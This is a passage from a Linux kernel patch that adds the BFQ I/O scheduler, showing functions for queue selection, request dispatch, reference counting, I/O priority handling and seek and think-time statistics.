++ *   provide the queue with fairness and latency guarantees, see [1] for
++ *   details).
++ */
++static inline bool bfq_bfqq_must_idle(struct bfq_queue *bfqq)
++{
++	struct bfq_data *bfqd = bfqq->bfqd;
++
++	return (RB_EMPTY_ROOT(&bfqq->sort_list) && bfqd->bfq_slice_idle != 0 &&
++		bfq_bfqq_must_not_expire(bfqq) &&
++		!bfq_queue_nonrot_noidle(bfqd, bfqq));
++}
++
++/*
++ * Select a queue for service.  If we have a current queue in service,
++ * check whether to continue servicing it, or retrieve and set a new one.
++ */
++static struct bfq_queue *bfq_select_queue(struct bfq_data *bfqd)
++{
++	struct bfq_queue *bfqq, *new_bfqq = NULL;
++	struct request *next_rq;
++	enum bfqq_expiration reason = BFQ_BFQQ_BUDGET_TIMEOUT;
++
++	bfqq = bfqd->in_service_queue;
++	if (bfqq == NULL)
++		goto new_queue;
++
++	bfq_log_bfqq(bfqd, bfqq, "select_queue: already in-service queue");
++
++	/*
++         * If another queue has a request waiting within our mean seek
++         * distance, let it run. The expire code will check for close
++         * cooperators and put the close queue at the front of the
++         * service tree. If possible, merge the expiring queue with the
++         * new bfqq.
++         */
++        new_bfqq = bfq_close_cooperator(bfqd, bfqq);
++        if (new_bfqq != NULL && bfqq->new_bfqq == NULL)
++                bfq_setup_merge(bfqq, new_bfqq);
++
++	if (bfq_may_expire_for_budg_timeout(bfqq) &&
++	    !timer_pending(&bfqd->idle_slice_timer) &&
++	    !bfq_bfqq_must_idle(bfqq))
++		goto expire;
++
++	next_rq = bfqq->next_rq;
++	/*
++	 * If bfqq has requests queued and it has enough budget left to
++	 * serve them, keep the queue, otherwise expire it.
++	 */
++	if (next_rq != NULL) {
++		if (bfq_serv_to_charge(next_rq, bfqq) >
++			bfq_bfqq_budget_left(bfqq)) {
++			reason = BFQ_BFQQ_BUDGET_EXHAUSTED;
++			goto expire;
++		} else {
++			/*
++			 * The idle timer may be pending because we may not
++			 * disable disk idling even when a new request arrives
++			 */
++			if (timer_pending(&bfqd->idle_slice_timer)) {
++				/*
++				 * If we get here: 1) at least a new request
++				 * has arrived but we have not disabled the
++				 * timer because the request was too small,
++				 * 2) then the block layer has unplugged the
++				 * device, causing the dispatch to be invoked.
++				 *
++				 * Since the device is unplugged, now the
++				 * requests are probably large enough to
++				 * provide a reasonable throughput.
++				 * So we disable idling.
++				 */
++				bfq_clear_bfqq_wait_request(bfqq);
++				del_timer(&bfqd->idle_slice_timer);
++			}
++			if (new_bfqq == NULL)
++				goto keep_queue;
++			else
++				goto expire;
++		}
++	}
++
++	/*
++	 * No requests pending.  If the in-service queue has no cooperator and
++	 * still has requests in flight (possibly waiting for a completion)
++	 * or is idling for a new request, then keep it.
++	 */
++	if (new_bfqq == NULL && (timer_pending(&bfqd->idle_slice_timer) ||
++	    (bfqq->dispatched != 0 && bfq_bfqq_must_not_expire(bfqq)))) {
++		bfqq = NULL;
++		goto keep_queue;
++	} else if (new_bfqq != NULL && timer_pending(&bfqd->idle_slice_timer)) {
++		/*
++		 * Expiring the queue because there is a close cooperator,
++		 * cancel timer.
++		 */
++		bfq_clear_bfqq_wait_request(bfqq);
++		del_timer(&bfqd->idle_slice_timer);
++	}
++
++	reason = BFQ_BFQQ_NO_MORE_REQUESTS;
++expire:
++	bfq_bfqq_expire(bfqd, bfqq, 0, reason);
++new_queue:
++	bfqq = bfq_set_in_service_queue(bfqd, new_bfqq);
++	bfq_log(bfqd, "select_queue: new queue %d returned",
++		bfqq != NULL ? bfqq->pid : 0);
++keep_queue:
++	return bfqq;
++}
++
++static void bfq_update_raising_data(struct bfq_data *bfqd,
++				    struct bfq_queue *bfqq)
++{
++	if (bfqq->raising_coeff > 1) { /* queue is being boosted */
++		struct bfq_entity *entity = &bfqq->entity;
++
++		bfq_log_bfqq(bfqd, bfqq,
++			"raising period dur %u/%u msec, "
++			"old raising coeff %u, w %d(%d)",
++			jiffies_to_msecs(jiffies -
++				bfqq->last_rais_start_finish),
++			jiffies_to_msecs(bfqq->raising_cur_max_time),
++			bfqq->raising_coeff,
++			bfqq->entity.weight, bfqq->entity.orig_weight);
++
++		BUG_ON(bfqq != bfqd->in_service_queue && entity->weight !=
++			entity->orig_weight * bfqq->raising_coeff);
++		if (entity->ioprio_changed)
++			bfq_log_bfqq(bfqd, bfqq,
++			"WARN: pending prio change");
++		/*
++		 * If too much time has elapsed from the beginning
++		 * of this weight-raising, stop it.
++		 */
++		if (jiffies - bfqq->last_rais_start_finish >
++			bfqq->raising_cur_max_time) {
++			bfqq->last_rais_start_finish = jiffies;
++			bfq_log_bfqq(bfqd, bfqq,
++				     "wrais ending at %llu msec,"
++				     "rais_max_time %u",
++				     bfqq->last_rais_start_finish,
++				     jiffies_to_msecs(bfqq->
++					raising_cur_max_time));
++			bfq_bfqq_end_raising(bfqq);
++			__bfq_entity_update_weight_prio(
++				bfq_entity_service_tree(entity),
++				entity);
++		}
++	}
++}
++
++/*
++ * Dispatch one request from bfqq, moving it to the request queue
++ * dispatch list.
++ */
++static int bfq_dispatch_request(struct bfq_data *bfqd,
++				struct bfq_queue *bfqq)
++{
++	int dispatched = 0;
++	struct request *rq;
++	unsigned long service_to_charge;
++
++	BUG_ON(RB_EMPTY_ROOT(&bfqq->sort_list));
++
++	/* Follow expired path, else get first next available. */
++	rq = bfq_check_fifo(bfqq);
++	if (rq == NULL)
++		rq = bfqq->next_rq;
++	service_to_charge = bfq_serv_to_charge(rq, bfqq);
++
++	if (service_to_charge > bfq_bfqq_budget_left(bfqq)) {
++		/*
++		 * This may happen if the next rq is chosen
++		 * in fifo order instead of sector order.
++		 * The budget is properly dimensioned
++		 * to be always sufficient to serve the next request
++		 * only if it is chosen in sector order. The reason is
++		 * that it would be quite inefficient and little useful
++		 * to always make sure that the budget is large enough
++		 * to serve even the possible next rq in fifo order.
++		 * In fact, requests are seldom served in fifo order.
++		 *
++		 * Expire the queue for budget exhaustion, and
++		 * make sure that the next act_budget is enough
++		 * to serve the next request, even if it comes
++		 * from the fifo expired path.
++		 */
++		bfqq->next_rq = rq;
++		/*
++		 * Since this dispatch is failed, make sure that
++		 * a new one will be performed
++		 */
++		if (!bfqd->rq_in_driver)
++			bfq_schedule_dispatch(bfqd);
++		goto expire;
++	}
++
++	/* Finally, insert request into driver dispatch list. */
++	bfq_bfqq_served(bfqq, service_to_charge);
++	bfq_dispatch_insert(bfqd->queue, rq);
++
++	bfq_update_raising_data(bfqd, bfqq);
++
++	bfq_log_bfqq(bfqd, bfqq,
++			"dispatched %u sec req (%llu), budg left %lu",
++			blk_rq_sectors(rq),
++			(long long unsigned)blk_rq_pos(rq),
++			bfq_bfqq_budget_left(bfqq));
++
++	dispatched++;
++
++	if (bfqd->in_service_bic == NULL) {
++		atomic_long_inc(&RQ_BIC(rq)->icq.ioc->refcount);
++		bfqd->in_service_bic = RQ_BIC(rq);
++	}
++
++	if (bfqd->busy_queues > 1 && ((!bfq_bfqq_sync(bfqq) &&
++	    dispatched >= bfqd->bfq_max_budget_async_rq) ||
++	    bfq_class_idle(bfqq)))
++		goto expire;
++
++	return dispatched;
++
++expire:
++	bfq_bfqq_expire(bfqd, bfqq, 0, BFQ_BFQQ_BUDGET_EXHAUSTED);
++	return dispatched;
++}
++
++static int __bfq_forced_dispatch_bfqq(struct bfq_queue *bfqq)
++{
++	int dispatched = 0;
++
++	while (bfqq->next_rq != NULL) {
++		bfq_dispatch_insert(bfqq->bfqd->queue, bfqq->next_rq);
++		dispatched++;
++	}
++
++	BUG_ON(!list_empty(&bfqq->fifo));
++	return dispatched;
++}
++
++/*
++ * Drain our current requests.  Used for barriers and when switching
++ * io schedulers on-the-fly.
++ */
++static int bfq_forced_dispatch(struct bfq_data *bfqd)
++{
++	struct bfq_queue *bfqq, *n;
++	struct bfq_service_tree *st;
++	int dispatched = 0;
++
++	bfqq = bfqd->in_service_queue;
++	if (bfqq != NULL)
++		__bfq_bfqq_expire(bfqd, bfqq);
++
++	/*
++	 * Loop through classes, and be careful to leave the scheduler
++	 * in a consistent state, as feedback mechanisms and vtime
++	 * updates cannot be disabled during the process.
++	 */
++	list_for_each_entry_safe(bfqq, n, &bfqd->active_list, bfqq_list) {
++		st = bfq_entity_service_tree(&bfqq->entity);
++
++		dispatched += __bfq_forced_dispatch_bfqq(bfqq);
++		bfqq->max_budget = bfq_max_budget(bfqd);
++
++		bfq_forget_idle(st);
++	}
++
++	BUG_ON(bfqd->busy_queues != 0);
++
++	return dispatched;
++}
++
++static int bfq_dispatch_requests(struct request_queue *q, int force)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++	struct bfq_queue *bfqq;
++	int max_dispatch;
++
++	bfq_log(bfqd, "dispatch requests: %d busy queues", bfqd->busy_queues);
++	if (bfqd->busy_queues == 0)
++		return 0;
++
++	if (unlikely(force))
++		return bfq_forced_dispatch(bfqd);
++
++	bfqq = bfq_select_queue(bfqd);
++	if (bfqq == NULL)
++		return 0;
++
++	max_dispatch = bfqd->bfq_quantum;
++	if (bfq_class_idle(bfqq))
++		max_dispatch = 1;
++
++	if (!bfq_bfqq_sync(bfqq))
++		max_dispatch = bfqd->bfq_max_budget_async_rq;
++
++	if (bfqq->dispatched >= max_dispatch) {
++		if (bfqd->busy_queues > 1)
++			return 0;
++		if (bfqq->dispatched >= 4 * max_dispatch)
++			return 0;
++	}
++
++	if (bfqd->sync_flight != 0 && !bfq_bfqq_sync(bfqq))
++		return 0;
++
++	bfq_clear_bfqq_wait_request(bfqq);
++	BUG_ON(timer_pending(&bfqd->idle_slice_timer));
++
++	if (!bfq_dispatch_request(bfqd, bfqq))
++		return 0;
++
++	bfq_log_bfqq(bfqd, bfqq, "dispatched one request of %d (max_disp %d)",
++			bfqq->pid, max_dispatch);
++
++	return 1;
++}
++
++/*
++ * Task holds one reference to the queue, dropped when task exits.  Each rq
++ * in-flight on this queue also holds a reference, dropped when rq is freed.
++ *
++ * Queue lock must be held here.
++ */
++static void bfq_put_queue(struct bfq_queue *bfqq)
++{
++	struct bfq_data *bfqd = bfqq->bfqd;
++
++	BUG_ON(atomic_read(&bfqq->ref) <= 0);
++
++	bfq_log_bfqq(bfqd, bfqq, "put_queue: %p %d", bfqq,
++		     atomic_read(&bfqq->ref));
++	if (!atomic_dec_and_test(&bfqq->ref))
++		return;
++
++	BUG_ON(rb_first(&bfqq->sort_list) != NULL);
++	BUG_ON(bfqq->allocated[READ] + bfqq->allocated[WRITE] != 0);
++	BUG_ON(bfqq->entity.tree != NULL);
++	BUG_ON(bfq_bfqq_busy(bfqq));
++	BUG_ON(bfqd->in_service_queue == bfqq);
++
++	bfq_log_bfqq(bfqd, bfqq, "put_queue: %p freed", bfqq);
++
++	kmem_cache_free(bfq_pool, bfqq);
++}
++
++static void bfq_put_cooperator(struct bfq_queue *bfqq)
++{
++	struct bfq_queue *__bfqq, *next;
++
++	/*
++	 * If this queue was scheduled to merge with another queue, be
++	 * sure to drop the reference taken on that queue (and others in
++	 * the merge chain). See bfq_setup_merge and bfq_merge_bfqqs.
++	 */
++	__bfqq = bfqq->new_bfqq;
++	while (__bfqq) {
++		if (__bfqq == bfqq) {
++			WARN(1, "bfqq->new_bfqq loop detected.\n");
++			break;
++		}
++		next = __bfqq->new_bfqq;
++		bfq_put_queue(__bfqq);
++		__bfqq = next;
++	}
++}
++
++static void bfq_exit_bfqq(struct bfq_data *bfqd, struct bfq_queue *bfqq)
++{
++	if (bfqq == bfqd->in_service_queue) {
++		__bfq_bfqq_expire(bfqd, bfqq);
++		bfq_schedule_dispatch(bfqd);
++	}
++
++	bfq_log_bfqq(bfqd, bfqq, "exit_bfqq: %p, %d", bfqq,
++		     atomic_read(&bfqq->ref));
++
++	bfq_put_cooperator(bfqq);
++
++	bfq_put_queue(bfqq);
++}
++
++static void bfq_init_icq(struct io_cq *icq)
++{
++	struct bfq_io_cq *bic = icq_to_bic(icq);
++
++	bic->ttime.last_end_request = jiffies;
++}
++
++static void bfq_exit_icq(struct io_cq *icq)
++{
++	struct bfq_io_cq *bic = icq_to_bic(icq);
++	struct bfq_data *bfqd = bic_to_bfqd(bic);
++
++	if (bic->bfqq[BLK_RW_ASYNC]) {
++		bfq_exit_bfqq(bfqd, bic->bfqq[BLK_RW_ASYNC]);
++		bic->bfqq[BLK_RW_ASYNC] = NULL;
++	}
++
++	if (bic->bfqq[BLK_RW_SYNC]) {
++		bfq_exit_bfqq(bfqd, bic->bfqq[BLK_RW_SYNC]);
++		bic->bfqq[BLK_RW_SYNC] = NULL;
++	}
++}
++
++/*
++ * Update the entity prio values; note that the new values will not
++ * be used until the next (re)activation.
++ */
++static void bfq_init_prio_data(struct bfq_queue *bfqq, struct bfq_io_cq *bic)
++{
++	struct task_struct *tsk = current;
++	int ioprio_class;
++
++	if (!bfq_bfqq_prio_changed(bfqq))
++		return;
++
++	ioprio_class = IOPRIO_PRIO_CLASS(bic->ioprio);
++	switch (ioprio_class) {
++	default:
++		dev_err(bfqq->bfqd->queue->backing_dev_info.dev,
++			"bfq: bad prio %x\n", ioprio_class);
++	case IOPRIO_CLASS_NONE:
++		/*
++		 * No prio set, inherit CPU scheduling settings.
++		 */
++		bfqq->entity.new_ioprio = task_nice_ioprio(tsk);
++		bfqq->entity.new_ioprio_class = task_nice_ioclass(tsk);
++		break;
++	case IOPRIO_CLASS_RT:
++		bfqq->entity.new_ioprio = IOPRIO_PRIO_DATA(bic->ioprio);
++		bfqq->entity.new_ioprio_class = IOPRIO_CLASS_RT;
++		break;
++	case IOPRIO_CLASS_BE:
++		bfqq->entity.new_ioprio = IOPRIO_PRIO_DATA(bic->ioprio);
++		bfqq->entity.new_ioprio_class = IOPRIO_CLASS_BE;
++		break;
++	case IOPRIO_CLASS_IDLE:
++		bfqq->entity.new_ioprio_class = IOPRIO_CLASS_IDLE;
++		bfqq->entity.new_ioprio = 7;
++		bfq_clear_bfqq_idle_window(bfqq);
++		break;
++	}
++
++	bfqq->entity.ioprio_changed = 1;
++
++	/*
++	 * Keep track of original prio settings in case we have to temporarily
++	 * elevate the priority of this queue.
++	 */
++	bfqq->org_ioprio = bfqq->entity.new_ioprio;
++	bfq_clear_bfqq_prio_changed(bfqq);
++}
++
++static void bfq_changed_ioprio(struct bfq_io_cq *bic)
++{
++	struct bfq_data *bfqd;
++	struct bfq_queue *bfqq, *new_bfqq;
++	struct bfq_group *bfqg;
++	unsigned long uninitialized_var(flags);
++	int ioprio = bic->icq.ioc->ioprio;
++
++	bfqd = bfq_get_bfqd_locked(&(bic->icq.q->elevator->elevator_data),
++				   &flags);
++	/*
++	 * This condition may trigger on a newly created bic, be sure to drop
++	 * the lock before returning.
++	 */
++	if (unlikely(bfqd == NULL) || likely(bic->ioprio == ioprio))
++		goto out;
++
++	bfqq = bic->bfqq[BLK_RW_ASYNC];
++	if (bfqq != NULL) {
++		bfqg = container_of(bfqq->entity.sched_data, struct bfq_group,
++				    sched_data);
++		new_bfqq = bfq_get_queue(bfqd, bfqg, BLK_RW_ASYNC, bic,
++					 GFP_ATOMIC);
++		if (new_bfqq != NULL) {
++			bic->bfqq[BLK_RW_ASYNC] = new_bfqq;
++			bfq_log_bfqq(bfqd, bfqq,
++				     "changed_ioprio: bfqq %p %d",
++				     bfqq, atomic_read(&bfqq->ref));
++			bfq_put_queue(bfqq);
++		}
++	}
++
++	bfqq = bic->bfqq[BLK_RW_SYNC];
++	if (bfqq != NULL)
++		bfq_mark_bfqq_prio_changed(bfqq);
++
++	bic->ioprio = ioprio;
++
++out:
++	bfq_put_bfqd_unlock(bfqd, &flags);
++}
++
++static void bfq_init_bfqq(struct bfq_data *bfqd, struct bfq_queue *bfqq,
++			  pid_t pid, int is_sync)
++{
++	RB_CLEAR_NODE(&bfqq->entity.rb_node);
++	INIT_LIST_HEAD(&bfqq->fifo);
++
++	atomic_set(&bfqq->ref, 0);
++	bfqq->bfqd = bfqd;
++
++	bfq_mark_bfqq_prio_changed(bfqq);
++
++	if (is_sync) {
++		if (!bfq_class_idle(bfqq))
++			bfq_mark_bfqq_idle_window(bfqq);
++		bfq_mark_bfqq_sync(bfqq);
++	}
++
++	/* Tentative initial value to trade off between thr and lat */
++	bfqq->max_budget = (2 * bfq_max_budget(bfqd)) / 3;
++	bfqq->pid = pid;
++
++	bfqq->raising_coeff = 1;
++	bfqq->last_rais_start_finish = 0;
++	bfqq->soft_rt_next_start = -1;
++}
++
++static struct bfq_queue *bfq_find_alloc_queue(struct bfq_data *bfqd,
++					      struct bfq_group *bfqg,
++					      int is_sync,
++					      struct bfq_io_cq *bic,
++					      gfp_t gfp_mask)
++{
++	struct bfq_queue *bfqq, *new_bfqq = NULL;
++
++retry:
++	/* bic always exists here */
++	bfqq = bic_to_bfqq(bic, is_sync);
++
++	/*
++	 * Always try a new alloc if we fall back to the OOM bfqq
++	 * originally, since it should just be a temporary situation.
++	 */
++	if (bfqq == NULL || bfqq == &bfqd->oom_bfqq) {
++		bfqq = NULL;
++		if (new_bfqq != NULL) {
++			bfqq = new_bfqq;
++			new_bfqq = NULL;
++		} else if (gfp_mask & __GFP_WAIT) {
++			spin_unlock_irq(bfqd->queue->queue_lock);
++			new_bfqq = kmem_cache_alloc_node(bfq_pool,
++					gfp_mask | __GFP_ZERO,
++					bfqd->queue->node);
++			spin_lock_irq(bfqd->queue->queue_lock);
++			if (new_bfqq != NULL)
++				goto retry;
++		} else {
++			bfqq = kmem_cache_alloc_node(bfq_pool,
++					gfp_mask | __GFP_ZERO,
++					bfqd->queue->node);
++		}
++
++		if (bfqq != NULL) {
++			bfq_init_bfqq(bfqd, bfqq, current->pid, is_sync);
++			bfq_log_bfqq(bfqd, bfqq, "allocated");
++		} else {
++			bfqq = &bfqd->oom_bfqq;
++			bfq_log_bfqq(bfqd, bfqq, "using oom bfqq");
++		}
++
++		bfq_init_prio_data(bfqq, bic);
++		bfq_init_entity(&bfqq->entity, bfqg);
++	}
++
++	if (new_bfqq != NULL)
++		kmem_cache_free(bfq_pool, new_bfqq);
++
++	return bfqq;
++}
++
++static struct bfq_queue **bfq_async_queue_prio(struct bfq_data *bfqd,
++					       struct bfq_group *bfqg,
++					       int ioprio_class, int ioprio)
++{
++	switch (ioprio_class) {
++	case IOPRIO_CLASS_RT:
++		return &bfqg->async_bfqq[0][ioprio];
++	case IOPRIO_CLASS_NONE:
++		ioprio = IOPRIO_NORM;
++		/* fall through */
++	case IOPRIO_CLASS_BE:
++		return &bfqg->async_bfqq[1][ioprio];
++	case IOPRIO_CLASS_IDLE:
++		return &bfqg->async_idle_bfqq;
++	default:
++		BUG();
++	}
++}
++
++static struct bfq_queue *bfq_get_queue(struct bfq_data *bfqd,
++				       struct bfq_group *bfqg, int is_sync,
++				       struct bfq_io_cq *bic, gfp_t gfp_mask)
++{
++	const int ioprio = IOPRIO_PRIO_DATA(bic->ioprio);
++	const int ioprio_class = IOPRIO_PRIO_CLASS(bic->ioprio);
++	struct bfq_queue **async_bfqq = NULL;
++	struct bfq_queue *bfqq = NULL;
++
++	if (!is_sync) {
++		async_bfqq = bfq_async_queue_prio(bfqd, bfqg, ioprio_class,
++						  ioprio);
++		bfqq = *async_bfqq;
++	}
++
++	if (bfqq == NULL)
++		bfqq = bfq_find_alloc_queue(bfqd, bfqg, is_sync, bic, gfp_mask);
++
++	/*
++	 * Pin the queue now that it's allocated, scheduler exit will prune it.
++	 */
++	if (!is_sync && *async_bfqq == NULL) {
++		atomic_inc(&bfqq->ref);
++		bfq_log_bfqq(bfqd, bfqq, "get_queue, bfqq not in async: %p, %d",
++			     bfqq, atomic_read(&bfqq->ref));
++		*async_bfqq = bfqq;
++	}
++
++	atomic_inc(&bfqq->ref);
++	bfq_log_bfqq(bfqd, bfqq, "get_queue, at end: %p, %d", bfqq,
++		     atomic_read(&bfqq->ref));
++	return bfqq;
++}
++
++static void bfq_update_io_thinktime(struct bfq_data *bfqd,
++				    struct bfq_io_cq *bic)
++{
++	unsigned long elapsed = jiffies - bic->ttime.last_end_request;
++	unsigned long ttime = min(elapsed, 2UL * bfqd->bfq_slice_idle);
++
++	bic->ttime.ttime_samples = (7*bic->ttime.ttime_samples + 256) / 8;
++	bic->ttime.ttime_total = (7*bic->ttime.ttime_total + 256*ttime) / 8;
++	bic->ttime.ttime_mean = (bic->ttime.ttime_total + 128) /
++				bic->ttime.ttime_samples;
++}
++
++static void bfq_update_io_seektime(struct bfq_data *bfqd,
++				   struct bfq_queue *bfqq,
++				   struct request *rq)
++{
++	sector_t sdist;
++	u64 total;
++
++	if (bfqq->last_request_pos < blk_rq_pos(rq))
++		sdist = blk_rq_pos(rq) - bfqq->last_request_pos;
++	else
++		sdist = bfqq->last_request_pos - blk_rq_pos(rq);
++
++	/*
++	 * Don't allow the seek distance to get too large from the
++	 * odd fragment, pagein, etc.
++	 */
++	if (bfqq->seek_samples == 0) /* first request, not really a seek */
++		sdist = 0;
++	else if (bfqq->seek_samples <= 60) /* second & third seek */
++		sdist = min(sdist, (bfqq->seek_mean * 4) + 2*1024*1024);
++	else
++		sdist = min(sdist, (bfqq->seek_mean * 4) + 2*1024*64);
++
++	bfqq->seek_samples = (7*bfqq->seek_samples + 256) / 8;
++	bfqq->seek_total = (7*bfqq->seek_total + (u64)256*sdist) / 8;
++	total = bfqq->seek_total + (bfqq->seek_samples/2);
++	do_div(total, bfqq->seek_samples);
++	bfqq->seek_mean = (sector_t)total;
++
++	bfq_log_bfqq(bfqd, bfqq, "dist=%llu mean=%llu", (u64)sdist,
++			(u64)bfqq->seek_mean);
++}
++
++/*
++ * Disable idle window if the process thinks too long or seeks so much that
++ * it doesn't matter.
++ */
++static void bfq_update_idle_window(struct bfq_data *bfqd,
++				   struct bfq_queue *bfqq,
++				   struct bfq_io_cq *bic)
++{
++	int enable_idle;
++
++	/* Don't idle for async or idle io prio class. */
++	if (!bfq_bfqq_sync(bfqq) || bfq_class_idle(bfqq))
++		return;
++
++	enable_idle = bfq_bfqq_idle_window(bfqq);
++
++	if (atomic_read(&bic->icq.ioc->active_ref) == 0 ||
++	    bfqd->bfq_slice_idle == 0 ||
++		(bfqd->hw_tag && BFQQ_SEEKY(bfqq) &&
++			bfqq->raising_coeff == 1))
++		enable_idle = 0;
++	else if (bfq_sample_valid(bic->ttime.ttime_samples)) {
++		if (bic->ttime.ttime_mean > bfqd->bfq_slice_idle &&
++			bfqq->raising_coeff == 1)
++			enable_idle = 0;
++		else
++			enable_idle = 1;
++	}
++	bfq_log_bfqq(bfqd, bfqq, "update_idle_window: enable_idle %d",
++		enable_idle);
++
++	if (enable_idle)
++		bfq_mark_bfqq_idle_window(bfqq);
++	else
++		bfq_clear_bfqq_idle_window(bfqq);
++}
++
++/*
++ * Called when a new fs request (rq) is added to bfqq.  Check if there's
++ * something we should do about it.
++ */
++static void bfq_rq_enqueued(struct bfq_data *bfqd, struct bfq_queue *bfqq,
++			    struct request *rq)
++{
++	struct bfq_io_cq *bic = RQ_BIC(rq);
++
++	if (rq->cmd_flags & REQ_META)
++		bfqq->meta_pending++;
++
++	bfq_update_io_thinktime(bfqd, bic);
++	bfq_update_io_seektime(bfqd, bfqq, rq);
++	if (bfqq->entity.service > bfq_max_budget(bfqd) / 8 ||
++	    !BFQQ_SEEKY(bfqq))
++		bfq_update_idle_window(bfqd, bfqq, bic);
++
++	bfq_log_bfqq(bfqd, bfqq,
++		     "rq_enqueued: idle_window=%d (seeky %d, mean %llu)",
++		     bfq_bfqq_idle_window(bfqq), BFQQ_SEEKY(bfqq),
++		     (long long unsigned)bfqq->seek_mean);
++
++	bfqq->last_request_pos = blk_rq_pos(rq) + blk_rq_sectors(rq);
++
++	if (bfqq == bfqd->in_service_queue && bfq_bfqq_wait_request(bfqq)) {
++		int small_req = bfqq->queued[rq_is_sync(rq)] == 1 &&
++				blk_rq_sectors(rq) < 32;
++		int budget_timeout = bfq_bfqq_budget_timeout(bfqq);
++
++		/*
++		 * There is just this request queued: if the request
++		 * is small and the queue is not to be expired, then
++		 * just exit.
++		 *
++		 * In this way, if the disk is being idled to wait for
++		 * a new request from the in-service queue, we avoid
++		 * unplugging the device and committing the disk to serve
++		 * just a small request. On the contrary, we wait for
++		 * the block layer to decide when to unplug the device:
++		 * hopefully, new requests will be merged to this one
++		 * quickly, then the device will be unplugged and
++		 * larger requests will be dispatched.
++		 */
++		if (small_req && !budget_timeout)
++			return;
++
++		/*
++		 * A large enough request arrived, or the queue is to
++		 * be expired: in both cases disk idling is to be
++		 * stopped, so clear wait_request flag and reset
++		 * timer.
++		 */
++		bfq_clear_bfqq_wait_request(bfqq);
++		del_timer(&bfqd->idle_slice_timer);
++
++		/*
++		 * The queue is not empty, because a new request just
++		 * arrived. Hence we can safely expire the queue, in
++		 * case of budget timeout, without risking that the
++		 * timestamps of the queue are not updated correctly.
++		 * See [1] for more details.
++		 */
++		if (budget_timeout)
++			bfq_bfqq_expire(bfqd, bfqq, 0, BFQ_BFQQ_BUDGET_TIMEOUT);
++
++		/*
++		 * Let the request rip immediately, or let a new queue be
++		 * selected if bfqq has just been expired.
++		 */
++		__blk_run_queue(bfqd->queue);
++	}
++}
++
++static void bfq_insert_request(struct request_queue *q, struct request *rq)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++
++	assert_spin_locked(bfqd->queue->queue_lock);
++	bfq_init_prio_data(bfqq, RQ_BIC(rq));
++
++	bfq_add_rq_rb(rq);
++
++	rq_set_fifo_time(rq, jiffies + bfqd->bfq_fifo_expire[rq_is_sync(rq)]);
++	list_add_tail(&rq->queuelist, &bfqq->fifo);
++
++	bfq_rq_enqueued(bfqd, bfqq, rq);
++}
++
++static void bfq_update_hw_tag(struct bfq_data *bfqd)
++{
++	bfqd->max_rq_in_driver = max(bfqd->max_rq_in_driver,
++				     bfqd->rq_in_driver);
++
++	if (bfqd->hw_tag == 1)
++		return;
++
++	/*
++	 * This sample is valid if the number of outstanding requests
++	 * is large enough to allow a queueing behavior.  Note that the
++	 * sum is not exact, as it's not taking into account deactivated
++	 * requests.
++	 */
++	if (bfqd->rq_in_driver + bfqd->queued < BFQ_HW_QUEUE_THRESHOLD)
++		return;
++
++	if (bfqd->hw_tag_samples++ < BFQ_HW_QUEUE_SAMPLES)
++		return;
++
++	bfqd->hw_tag = bfqd->max_rq_in_driver > BFQ_HW_QUEUE_THRESHOLD;
++	bfqd->max_rq_in_driver = 0;
++	bfqd->hw_tag_samples = 0;
++}
++
++static void bfq_completed_request(struct request_queue *q, struct request *rq)
++{
++	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++	struct bfq_data *bfqd = bfqq->bfqd;
++	const int sync = rq_is_sync(rq);
++
++	bfq_log_bfqq(bfqd, bfqq, "completed %u sects req (%d)",
++			blk_rq_sectors(rq), sync);
++
++	bfq_update_hw_tag(bfqd);
++
++	WARN_ON(!bfqd->rq_in_driver);
++	WARN_ON(!bfqq->dispatched);
++	bfqd->rq_in_driver--;
++	bfqq->dispatched--;
++
++	if (bfq_bfqq_sync(bfqq))
++		bfqd->sync_flight--;
++
++	if (sync)
++		RQ_BIC(rq)->ttime.last_end_request = jiffies;
++
++	/*
++	 * The computation of softrt_next_start was scheduled for the next
++	 * request completion: it is now time to compute it.
++	 */
++	if (bfq_bfqq_softrt_update(bfqq) && RB_EMPTY_ROOT(&bfqq->sort_list))
++		bfqq->soft_rt_next_start =
++			bfq_bfqq_softrt_next_start(bfqd, bfqq);
++
++	/*
++	 * If this is the in-service queue, check if it needs to be expired,
++	 * or if we want to idle in case it has no pending requests.
++	 */
++	if (bfqd->in_service_queue == bfqq) {
++		if (bfq_bfqq_budget_new(bfqq))
++			bfq_set_budget_timeout(bfqd);
++
++		if (bfq_bfqq_must_idle(bfqq)) {
++			bfq_arm_slice_timer(bfqd);
++			goto out;
++		} else if (bfq_may_expire_for_budg_timeout(bfqq))
++			bfq_bfqq_expire(bfqd, bfqq, 0, BFQ_BFQQ_BUDGET_TIMEOUT);
++		else if (RB_EMPTY_ROOT(&bfqq->sort_list) &&
++			 (bfqq->dispatched == 0 ||
++			  !bfq_bfqq_must_not_expire(bfqq)))
++			bfq_bfqq_expire(bfqd, bfqq, 0,
++					BFQ_BFQQ_NO_MORE_REQUESTS);
++	}
++
++	if (!bfqd->rq_in_driver)
++		bfq_schedule_dispatch(bfqd);
++
++out:
++	return;
++}
++
++static inline int __bfq_may_queue(struct bfq_queue *bfqq)
++{
++	if (bfq_bfqq_wait_request(bfqq) && bfq_bfqq_must_alloc(bfqq)) {
++		bfq_clear_bfqq_must_alloc(bfqq);
++		return ELV_MQUEUE_MUST;
++	}
++
++	return ELV_MQUEUE_MAY;
++}
++
++static int bfq_may_queue(struct request_queue *q, int rw)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++	struct task_struct *tsk = current;
++	struct bfq_io_cq *bic;
++	struct bfq_queue *bfqq;
++
++	/*
++	 * Don't force setup of a queue from here, as a call to may_queue
++	 * does not necessarily imply that a request actually will be queued.
++	 * So just lookup a possibly existing queue, or return 'may queue'
++	 * if that fails.
++	 */
++	bic = bfq_bic_lookup(bfqd, tsk->io_context);
++	if (bic == NULL)
++		return ELV_MQUEUE_MAY;
++
++	bfqq = bic_to_bfqq(bic, rw_is_sync(rw));
++	if (bfqq != NULL) {
++		bfq_init_prio_data(bfqq, bic);
++
++		return __bfq_may_queue(bfqq);
++	}
++
++	return ELV_MQUEUE_MAY;
++}
++
++/*
++ * Queue lock held here.
++ */
++static void bfq_put_request(struct request *rq)
++{
++	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++
++	if (bfqq != NULL) {
++		const int rw = rq_data_dir(rq);
++
++		BUG_ON(!bfqq->allocated[rw]);
++		bfqq->allocated[rw]--;
++
